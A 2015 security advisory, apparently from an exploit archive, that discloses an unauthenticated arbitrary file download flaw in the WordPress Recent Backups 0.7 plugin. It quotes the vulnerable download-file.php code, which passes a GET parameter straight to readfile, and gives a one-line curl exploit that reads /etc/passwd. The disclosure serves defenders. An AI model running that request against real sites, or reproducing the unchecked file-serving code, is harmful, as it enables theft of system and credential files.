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WordPress Recent Backups 0.7 File Download

WordPress Recent Backups 0.7 File Download
Posted Aug 5, 2015
Authored by Larry W. Cashdollar

WordPress Recent Backups plugin version 0.7 suffers from an arbitrary remote file download vulnerability.

tags | exploit, remote, arbitrary
MD5 | 9fb52955d8f5996837a53e6e0a6cf0cc

WordPress Recent Backups 0.7 File Download

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Title: Remote file download vulnerability in recent-backups v0.7 wordpress plugin
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-13
Download Site: https://wordpress.org/plugins/recent-backups
Vendor: https://profiles.wordpress.org/andycheeseman/
Vendor Notified: 0000-00-00
Vendor Contact: plugins@wordpress.org
Description: To be used with the BackupWordPress plugin to list the contents of the backup directory in a dashboard widget.
Vulnerability:
The code in download-file.php doesn't verify the user is logged in or sanitize what files can be downloaded. This vulnerability can be used
to download sensitive system files:

2 $file = $_GET['file_link'];
3
4 if (file_exists($file)) {
5 header('Content-Description: File Transfer');
6 header('Content-Type: application/octet-stream');
7 header('Content-Disposition: attachment; filename='.basename($file));
8 header('Content-Transfer-Encoding: binary');
9 header('Expires: 0');
10 header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
11 header('Pragma: public');
12 header('Content-Length: ' . filesize($file));
13 ob_clean();
14 flush();
15 readfile($file);

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OSVDB:
Exploit Code:
• $ curl -v "http://www.example.com/wp-content/plugins/recent-backups/download-file.php?file_link=/etc/passwd
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